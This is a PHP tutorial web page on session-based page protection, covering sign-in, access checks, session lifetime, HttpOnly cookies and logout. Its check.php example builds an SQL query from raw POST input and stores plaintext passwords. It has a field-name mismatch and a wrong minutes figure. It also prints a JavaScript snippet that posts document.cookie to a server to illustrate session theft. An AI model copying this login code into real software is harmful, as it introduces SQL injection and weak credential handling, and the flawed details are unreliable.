How to secure web pages using sessions in PHP

Home > Search > How-to
  by

You may want to first read about the difference between a session and a cookie.


Starting a session

Let's say you want to require visitors to sign in with a username and password before they are allowed to access certain web pages, such as private.php. Add the following PHP to the pages you want to secure.

<?php
   session_start();
?>

 

When navigating to a page that includes session_start();, a cookie will be created in the web browser with a unique Session ID number.

 

By default, PHP is configured so that sessions are unique to a domain. For example, if a session is started on www.example.com, the session would not be valid for sso.example.com, and vice versa. If you have two or more domains, and you want a session created on one domain to be valid for another domain, in your php.ini file, make the following configuration.

session.cookie_domain = ".example.com".

 

When using this configuration, the domain of the session cookie will be .yourDomain.com.

 

On Linux, the files with the Session ID numbers are typically stored in /var/lib/php/session.

[root@server1 ~]# ls /var/lib/php/session
sess_j057t7hrv9d71p1vt1b010e080

 


Setting the Session ID variable

The Session ID number can be used by setting the Session ID variable.

<?php
   session_start();
   $_SESSION['id'] = session_id(); 
?>

 

In this example, the $_SESSION['id'] variable will contain the Session ID number.

<?php
   echo $_SESSION['id']; 
?>

j057t7hrv9d71p1vt1b010e080

 


Access Control

Now that the $_SESSION['id'] variable has been set, access can be allowed or denied by determining if the $_SESSION['id'] variable contain the Session ID.

<?php
   session_start();
   if(isset($_SESSION['id']) && !empty($_SESSION['id'])) {}
   else {header("location:signin.php");}
?>

 


Sign in page

Let's create a simple Sign In page, named signin.php. The Sign In page will gather the username and password and send the request over to check.php.

<form method="post" action="check.php">
  <input type="text" name="MyUsername">
  <input type="text" name="MyPassword">
  <input type="submit">
</form>

 

The check.php page will determine if the username and password are valid. Ensure that session_start(); is the very first line of code on your page. This is a very simple, and not very secure, example check.php. In a production environment, the check.php page would be much more secure. If the username and password exist in the authentication table, the Session ID is set, and the user is redirected to the private.php page. If the username and password do not exist in the authentication table, the user is redirected to the signin_error.php page.

<?php
   session_start();
   $myusername = $_POST['myusername'];
   $mypassword = $_POST['mypassword'];

   $count = $con->query("SELECT count(*) FROM authentication where username='$myusername' and password='$mypassword'")->fetchColumn();

   if ($count==1) 
   {
	   $_SESSION['id'] = session_id();
	  header("location:private.php");
   }
   else 
   {
	  header("location:signin_error.php");
   }

 


Session Duration

Each session has a duration.  By default, the duration is 1,440 seconds, which is 24 minutes. 

 

To increase or decrease the session duration, adjust the session.gc_maxlifetime value in your /etc/php.ini file. For example, to set the session duration to 3600 minutes, which is 1 hour.

session.gc_maxlifetime = 3600

 

Restart HTTPD, and ensure HTTPD is active and running. Then, revisit www.example.com/phpinfo.php to ensure session.gc_maxlifetime has changed.

[root@server1 ~]# systemctl restart httpd
[root@server1 ~]# systemctl status httpd

 


Prevent Session Hijacking

By default, the session.cookie_httponly option in the php.ini file is set to Off. This is problematic, as it would allow a malicious users to use the following Javascript to obtain your session ID numbers, which is an entry point for the malicious users to potentially obtain sensitive data. For this reason, it makes sense to set session.cookie_httponly to On in your php.ini file.

<script>
$.post(
    "https://www.example.com/sessions.php",
    {cookies: document.cookie}
)
</script>

 


Ending a Session

You will also want to have a sign out page.  When the user clicks on signout, the following code should be executed.  This code removes the cookies from the users computer.

<?php
	$params = session_get_cookie_params();
	setcookie(session_name(), '', 0, $params['path'], $params['domain'], $params['secure'], isset($params['httponly']));
	session_destroy();
	session_write_close();
?>

 

If the user does not sign out, the cookie will be removed from their computer when they close every browser tab.

 

Removing the cookie from the users computer will not remove the file with the Session ID from the server. When HTTPD is the web server installed on Linux, create a file named destroy_old_sessions.sh and save the file in the /etc/cron.daily directory. Use the following in the destroy_old_sessions.sh file.  This script deletes any file in the /var/lib/php/session directory that is greater than 1 day old.

#!/bin/bash
find /var/lib/php/session/* -mtime 1 -exec rm {} \;

 

Schedule destory_old_sessions.sh to run daily using cron.

 



Add a Comment




We will never share your name or email with anyone. Enter your email if you would like to be notified when we respond to your comment.




Please enter in the box below so that we can be sure you are a human.




Comments